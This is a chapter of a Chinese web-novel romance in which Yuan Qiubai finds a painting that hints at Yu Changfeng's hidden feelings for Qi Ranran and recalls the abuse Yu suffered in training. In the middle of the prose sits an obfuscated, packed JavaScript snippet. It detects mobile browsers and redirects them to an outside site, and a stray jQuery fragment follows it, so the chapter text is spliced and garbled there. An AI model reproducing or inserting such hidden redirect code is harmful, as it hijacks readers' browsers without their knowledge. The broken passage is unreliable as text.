17.瀑布
作品:《重生后抱紧前夫大腿》 浓郁夜色渐消,祈冉冉难得睡了个好觉。
神思全然疏懒懈惰,身心也一具获得了久违又丰沛的舒适,以致于到了翌日卯时一刻,珍珠耳珰如计划中那般准确无误地砸进了她掌心里,她却没能如计划中那般准确无误地清醒过来。
卯时二刻,一道温煦气息毫无征兆地自她指尖窜入身体,祈冉冉舒服得哼唧一声,下一刻,她蓦地惊醒,发现外间已然晨光熹微。
里侧的喻长风一整晚姿势未变,甚至连脊背后弓的弧度都似乎与她昨晚印象中的别无二致。
——显然,他没被自己吵醒过。
祈冉冉顿时长呼出一口气,一面感慨着自己果真睡品极佳,一面快速下榻,往博山炉里丢了块促人清醒的香料,继而又将蜡烛耳珰细针绸带一股脑儿地都装进包袱袋里,最后才蹑手蹑脚地自天师大人的房间遁了出去。
起床时辰较之预估的晚了一刻,祈冉冉担心回房路上被人瞧见,遂便选择鬼鬼祟祟地从小花圃里绕过去。
她身上还穿着那件为了舒适‘服药’而特意准备的薄软襦裙,袖子较之寻常的袄裙要短上一截,袖口却更宽大,以致于一路自那半人高的灌木丛中穿行而过,两条小臂上蹭得斑斑点点尽是红痕。
堪堪回房换好衣衫,恕己已经自外叩门来请她用早膳了,祈冉冉应了一声,将袖摆向下扯了扯,与恕己一道往西南角的小边厢走。
跨过边厢门槛,喻长风依然没来,元秋白倒是早早坐在了圆桌一侧,瞧见她了便颔首向她问好,
“堂妹,昨夜歇得如何?”
祈冉冉甫一拿到那效用堪比迷香的安神香时就曾郑重其事地同他保证过,说这东西仅为自用,必不会用以胡作非为,言辞之诚挚恳切,与指天誓日也差不了多少。
元秋白倒是没怀疑他这小堂妹会将迷香用到喻长风身上,一来想着祈冉冉毕竟是位公主,天潢贵胄,金枝玉叶,哪能做出此等采花小贼才会施为的龌龊之事;
二来则是因为,那可是喻长风啊!
莫说燃上几根迷香,就算将香磨碎了融进水里,再囫囵给他灌下去,天师大人也不见得会迷魂丧志。
“……还可以吧。”
祈冉冉含含糊糊地应了一声,不欲在恕己面前继续这个话题。她敛袖为元秋白倒出一小碟子醋,又将热腾腾的蟹粉包子往前推了推,
“堂兄,你今日怎么来了?”
“……我,”
含含糊糊的人顿时变成了元秋白,“我有事要与喻长风说。”
他顿了顿,同样反手给祈冉冉倒出一碟醋,“你也尝尝……”
正说着,天师大人的身影突然自窗外一闪而过。
元秋白忙站起身,“堂妹你且吃着,我先告辞了。”
言罢衣袍一撩,像阵风似的追了出去。
***
元堂兄自觉脚步不慢,边追还边自天师大人身后迭声喊着,可天师大人今日不仅面无神意,耳朵也像失聪似的听而不闻,元秋白直追了他两道回廊,才终得以与天师大人前后脚迈过了寝屋的房门。
自内合上门板后才发现这人竟是浑身都湿透了,外层天青的袍衫被雪白里衣洇出大片暗色的痕迹,黑到极致的瞳孔掩在同样湿漉漉的发梢之后,眼睫边缘犹且挂着几颗晶莹剔透的小水珠,此刻微一抬眸,那点水汽便融进了狭长锋利的眼尾里,莫名显出几分原始兽类的冷寂凶意。
“喻长风?”
元秋白登时一愣,“你做什么去了?”
喻长风抬手解外衫,边解边往屏风后走,“冲瀑布。”
“冲瀑布?”元秋白亦步亦趋跟过去,“那不是你小时候心性不定时才会做的事吗?”
他满脸不解,“但容我直言,您老如今怕是已经快没有心性这种‘人’才会有的东西了吧?”
毕竟天师大人越是长大,性子就越冷,他毫不怀疑,喻长风再过几年怕是都能直接原地升仙了。
喻长风没接他的话,线条紧实的臂膀一扬,将吸饱了水的天青外衫丢出屏风之外。
元秋白反应极快地向右躲了一下,小腿骨径直磕上了方凳角,‘咚’得一声,疼得他龇牙咧嘴,却是好歹躲过了被厚重湿衣物迎头盖脸的丢份儿命运。
——得,就这小心眼儿的性子他也升不了仙。
“哎,喻长风。”
没什么好气地轻啧一声,元秋白蹲下去揉了揉腿,虽说早已经对喻天师那动不动就不爱搭理人且还相当喜欢直接动手的行为方式习以为常,可如今冷不防被作弄了,还是忍不住想揶揄他,
“我是拿你当挚友才好心提醒你的,您老现在可不是什么十七八岁生龙活虎的少年郎了,哪儿能再这么见天的一大清早冲瀑布呢?那东西可是顶级寒凉之物!莫说人了,发.情.期的烈马也禁不住日日这么冲的,你……”
他忽地一顿,发现原本背对着他的喻长风不知何时转过了身。
倒是没走出来,仅只自屏风后探出一只青筋隆起的冷白手背,凸起的指骨处色泽略艳,是浅淡的樱绯色,顺着指腹一路没入黄花梨木的顶端屏角里。
此时此刻,有光透过窗纸斜照进来,天师大人就这么一手搭着屏风顶角,一手捋起额前湿发,精致的眉眼完全显露,隐隐可见其中的诚朴困惑,
“发.情.期的烈马,通常都是如何抑制欲.念的?”
……嗯?
元秋白怀疑自己听错了,“你,”
他一脸震惊地张大嘴巴,“你说什么?”
“没什么。”喻长风又将头转了回去,下巴轻轻一抬,言简意赅地使唤他,
“衣柜里,帮我拿件里衣。”
“……”
元秋白又‘啧’了一声,依言走到桌案旁的衣柜前,抽出件干净里衣随手一卷,朝着屏风的方向隔空扔过去,
“我可真是欠你的。”
扔完衣服他也没回去,顺势往桌案前一坐,悠哉拨弄起了喻长风搁在案头的那些亲笔画作。
天师大人惯来志趣寥寥,唯一称得上爱好的,约莫也就只有闲来无事时的涉笔作丹青,可惜他的画作同他这个人一样,始终都是黑的山白的雪,偶尔点缀上一轮旭阳,也都是没什么生气的浅橘色。
然而……
视线落在案头边缘那幅天师大人的最新画作上,元秋白诧异挑眉,用力擦了擦自己的眼睛。
宽大宣纸上绘得依旧是一如既往的空寂山水,可这一次,一只轮廓模糊的飞鸟却翩翩煽动着碧色的翅膀,猝然跃动于重峦叠嶂之间。
水也同样不再只是恓恓的水,元秋白看着那虽有薄冰漂浮却仍潺潺流动的澄澈溪涧,一时竟仿佛瞧见了清冷依旧却隐蕴生机的勃勃早春。
画作的左下角标注着落笔的日子——禛圣十三年七月初八。
他将这历日默念几遍,下一瞬忽地福至心灵,脑中浑然一个激灵。
禛圣十三年七月初八,是祁冉冉说不和离,并且还要留宿天师府的日子!
画意即心意,元秋白当即呆若木鸡,恍惚意识到自己或许于机缘巧合之下窥破了什么不得了的事。
他确信这件‘不得了的事’便连喻长风本人都必定尚未察觉,否则以天师大人那克制内敛几近压抑人.欲的性子,就算将寝屋尽数拆除再浑翻个面,自己也决然瞧不见这幅画。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312565|181040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他突然就有些纠结,毕竟自己今日前来,正是为了告知天师大人一件堪堪才探听到的纷乱秘辛。
还是与祁冉冉和褚承言有关的,不太清白的那种秘辛。
踌躇间喻长风已经换好衣衫走了出来,前襟系得板板正正,如墨黑发却未束起,一缕稍短的发丝还悄摸翘起了个微小的弧度,使得今日的天师大人怎么看都要比以往多出几分活人气。
“有事?”
“……”元秋白支支吾吾,“其实也没什么事……”
他见喻长风走到窗前,随意拣起根暗色发带,一手抻着顶端,另一手利落往发根处绕,无措之下便没话找话地道:
“这发式不错,束起来又快又简单,瞧着还不失礼,哈哈,下次有机会你教教我。”
喻长风连头都没回,“没话说就出去。”
元秋白:“……”
元堂兄遂唉声叹气地从喻长风房间里退出来,本打算改道去祁冉冉的屋子里再劝一劝她,那褚承言真没什么好,除了较之喻长风更会讲些漂亮话,余下那些权势地位,乃至身量样貌,哪一点能再比得过?
况且不爱讲话也不是什么天理难容的大毛病,正好祈冉冉嘴巴还毒,夫妻两个弥合互补,安安生生过日子得了。
他如此想着,下一刻就见用完早膳的祁冉冉与恕己人手一个大竹筐,兴致冲冲地跑过来打梨子。
公主殿下今日穿了件鹅黄绣暗金团圆纹的轻纱半臂,内搭浅藕色窄袖长衫,行走时红绿交叠的间色裙摆摇曳生姿,浑然一副花团锦簇的灿烂春景。
要打的梨子树就种在天师大人与公主殿下最初卧房的廊道中间,此时此刻,从元堂兄的角度望过去,恰巧能将祁冉冉明媚活泼的俏丽身姿全然纳入眼底。
确实是生得漂亮,也确实是招人喜欢。
就连元秋白这个面上端方做‘堂兄’,实则一心只想当人家‘表妹夫’的人都不得不承认——祁冉冉此人,简直从头到脚都充盈着鲜活又旺盛的生命力。
他顿时就理解了喻长风那点暧昧不明的心弦波动,那人在很小的时候便成为了天师继嗣,而为保证绝对的公正,每一任天师大人都需始终持守一条近乎‘非人’的金科玉律。
——不可有爱恨嗔痴,不可有厌恶喜好,遇乐事不可显喜,遇恶事不可露怯,遭劫难不可彰示痛苦,遭择选不可凸现爱重。
这是完全违反生灵本性的要求,喻长风作为未来的‘天师大人’,自然也为此遭受了常人浑禁不起的非人磨练。
元秋白的母家曾为天师府供应过一段时日的珍稀草药,而他也因着这层特殊的身份,得以对那些磨炼手段有所耳闻。
譬如,将继嗣的双手十指折断再接好,指甲盖拔起来,直到继嗣能咬紧牙关,哪怕疼到面色发白冷汗涔涔,也能不发出一丝声音。
放任继嗣接触世间万物,之后再将其喜好收集起来,当着他的面一样样毁掉。
能与喻长风成为至交好友的契机也十分微妙,十岁那年沾了自家父亲的光,难得随禛圣帝一同至天师府祈福,继而在这机缘巧合的到访里,他第一次见到了尚为继嗣的喻长风。
被外界传得神乎其神的少年果如众人所说那般金质玉相又丰标不凡,但那一日,他浑身上下却尽是伤口,怀中抱着一只同样鲜血淋漓的猫儿,狼狈又脆弱地,哑声求他救一救他的小猫。
猫儿其实早已经断气了,是被天师府的宗老亲手捏死的,喻长风当场勃然扞拒,可惜他彼时不过总角,哪怕自幼习武,身法技艺较之宗老们也远不够看。
他被惩戒得几乎失去了整条命,最后却也没能抢回自己小猫的命。